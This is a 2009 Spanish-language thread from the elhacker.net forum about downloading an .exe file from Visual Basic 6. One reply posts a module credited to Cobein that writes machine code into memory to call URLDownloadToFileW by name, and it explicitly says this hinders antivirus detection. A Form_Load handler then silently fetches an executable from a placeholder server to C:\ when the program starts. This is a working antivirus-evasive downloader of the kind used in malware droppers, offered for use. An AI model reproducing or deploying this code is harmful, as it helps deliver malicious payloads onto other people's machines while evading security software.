Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: ToNy_EsP en 7 Junio 2009, 14:10 pm



Título: Descargar .exe desde VB
Publicado por: ToNy_EsP en 7 Junio 2009, 14:10 pm
Pues buesqué por el foro, no lo encontré;
Busqué por Google, encontré cientos, pero de esos cientos ninguno funcionaba a la hora de descargar el archivo y guardarlo como .exe en la ruta que yo elija.

Probé codes que re venian en la web de recursosvisualbasic, codes de otras webs como elguille... Algunos funcionaban con Inet, otros con un control OCX, pero no me funciona ninguno con VB6 :S.

¿Alguien podría pasarme un código válido? Llevo 2 semanas enteras buscando pero no encontré nada  :-(

Un saludo.


Título: Re: Descargar .exe desde VB
Publicado por: Spider-Net en 7 Junio 2009, 15:32 pm
Veo que sigues sin usar mucho el buscador del foro (http://foro.elhacker.net/Themes/converted/images/spanish/search.gif)

Hay una función hecha por Cobein buenísima que llama a una API directamente por su nombre, esto dificulta su detección por los antivirus y llamando de esta forma a la API URLDownloadToFileW no hay problema alguno para descargar un fichero.

Módulo:

Código
  1. 'Call API Function
  2. 'Credits to Cobein
  3.  
  4. Declare Sub RtlMoveMemory Lib "kernel32" (dest As Any, src As Any, ByVal L As Long)
  5. Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
  6. Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  7. Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
  8.  
  9. Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
  10. On Error Resume Next
  11.    Dim lPtr                As Long
  12.    Dim bvASM(&HEC00& - 1)  As Byte
  13.    Dim I                   As Long
  14.    Dim lMod                As Long
  15.  
  16.    lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
  17.    If lMod = 0 Then Exit Function
  18.  
  19.    lPtr = VarPtr(bvASM(0))
  20.    RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr = lPtr + 4
  21.    RtlMoveMemory ByVal lPtr, &H5059, &H2:                  lPtr = lPtr + 2
  22.    For I = UBound(Params) To 0 Step -1
  23.        RtlMoveMemory ByVal lPtr, &H68, &H1:                lPtr = lPtr + 1
  24.        RtlMoveMemory ByVal lPtr, CLng(Params(I)), &H4:     lPtr = lPtr + 4
  25.    Next
  26.    RtlMoveMemory ByVal lPtr, &HE8, &H1:                    lPtr = lPtr + 1
  27.    RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4:         lPtr = lPtr + 4
  28.    RtlMoveMemory ByVal lPtr, &HC3, &H1:                    lPtr = lPtr + 1
  29.    CallApiByName = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
  30.  
  31. End Function

Form:

Código
  1. Private Sub Form_Load()
  2.   lRet = CallApiByName("urlmon", "URLDownloadToFileW", 0, StrPtr("http://server.com/test.exe"), StrPtr("C:\test.exe"), 0, 0)
  3. End Sub

Saludos!


Título: Re: Descargar .exe desde VB
Publicado por: seba123neo en 7 Junio 2009, 19:10 pm
Hola, no te funciona ninguno? algo debes hacer mal, tenes api's para ahcerlo, lo podes hacer con sockets...lo podes hacer con el INET y otros OCX, lo podes hacer con descarga asyncrona...lo podes hacer de un monton de maneras...

saludos.


Título: Re: Descargar .exe desde VB
Publicado por: oskoa en 10 Junio 2009, 21:06 pm
che, que hace ese codigo? lo puse en el VB y no me hizo nada

(espero que no me explote la pc en 3 dias -,-

je, diganme que hace ese codigo plz


Título: Re: Descargar .exe desde VB
Publicado por: BlackZeroX en 10 Junio 2009, 22:05 pm
che, que hace ese codigo? lo puse en el VB y no me hizo nada

(espero que no me explote la pc en 3 dias -,-

je, diganme que hace ese codigo plz

hace lo que pediste...¡!


Título: Re: Descargar .exe desde VB
Publicado por: ssccaann43 © en 10 Junio 2009, 23:33 pm
che, que hace ese codigo? lo puse en el VB y no me hizo nada

(espero que no me explote la pc en 3 dias -,-

je, diganme que hace ese codigo plz

hace lo que pediste...¡!

El no fue quien lo pidio...! Fue ToNy_EsP